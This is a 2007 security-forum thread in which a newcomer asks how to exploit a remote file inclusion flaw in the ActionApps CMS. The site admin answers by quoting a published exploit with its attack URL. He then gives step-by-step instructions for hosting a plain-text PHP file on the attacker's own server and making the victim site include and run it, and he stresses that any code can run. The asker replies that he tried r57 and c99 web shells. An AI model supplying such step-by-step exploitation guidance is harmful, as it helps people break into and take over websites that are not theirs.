Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 23, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 555
Members: 0
Total: 555
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> ActionApps -help please
Post new topic  Reply to topic View previous topic :: View next topic 
ActionApps -help please
PostPosted: Sun Aug 12, 2007 9:38 pm Reply with quote
int
Regular user
Regular user
 
Joined: Aug 13, 2007
Posts: 12




Hello world, I`m new here, I think you have a nice comunity.
Here is my problem.. I have an ActionApps PHP application. It is used for posting news on websites.

I found on the web that this is one of the exploits used on it:
Code:
http://www.site.com/[APC_path]/cached.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]


Please, I would like to know what does AA_INC_PATH mean Neutral

How would a full exploit address look. If you know about this kind of PHP application please help a newbie out Sad

Thanks anticipated!
View user's profile Send private message
Re: ActionApps -help please
PostPosted: Mon Aug 13, 2007 10:17 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




int wrote:
Hello world, I`m new here, I think you have a nice comunity.
Here is my problem.. I have an ActionApps PHP application. It is used for posting news on websites.

I found on the web that this is one of the exploits used on it:
Code:
http://www.site.com/[APC_path]/cached.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]


Please, I would like to know what does AA_INC_PATH mean Neutral

How would a full exploit address look. If you know about this kind of PHP application please help a newbie out Sad

Thanks anticipated!


I assume, that you mean this exploit:

http://milw0rm.com/exploits/1829

Code:

################ DEVIL TEAM THE BEST POLISH TEAM #################
#APC ActionApps CMS (2.8.1) - Remote File Include Vulnerabilities
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#site: http://sourceforge.net/projects/apc-aa/
##################################################################
/*
cached.php3:
... (line:35)
require_once $GLOBALS['AA_INC_PATH']."locsess.php3";
...
...
expl:

http://www.site.com/[APC_path]/cached.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]
...
...


So what you need first, is some website in your possession, which is not processing php files (hosting without php support).
Now, write this little test script:

Code:

<?php
phpinfo();
?>


... and rename file to "locsess.php3". After that upload it to your webserver and try to access it with your favourite webbrowser.
You must see that file in plain text from browser.
Now, let's assume, that your uploaded script has URL like this:

http://www.yourwebsite.com/locsess.php3

Then you can exploit the victim by issuing this request:

http://www.yourvictim.com/cached.php3?GLOBALS[AA_INC_PATH]=http://www.yourwebsite.com/

If you are lucky, then you can see lots of insider information from victim's php engine,
thanks to "phpinfo()" function Smile

And as you can see, ANY php code can be written to php script in YOUR website and then you can
execute it on VICTIM website! This is the essence of the RFI - Remote File Inclusion Wink
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Aug 13, 2007 8:31 pm Reply with quote
int
Regular user
Regular user
 
Joined: Aug 13, 2007
Posts: 12




Thank you waraxe admin for your fast help. I wasn't lucky enough Very Happy
I have AV problems when working with r57 or c99, i tried a different shell but didn't work out Smile
View user's profile Send private message
ActionApps -help please
  www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.161 Seconds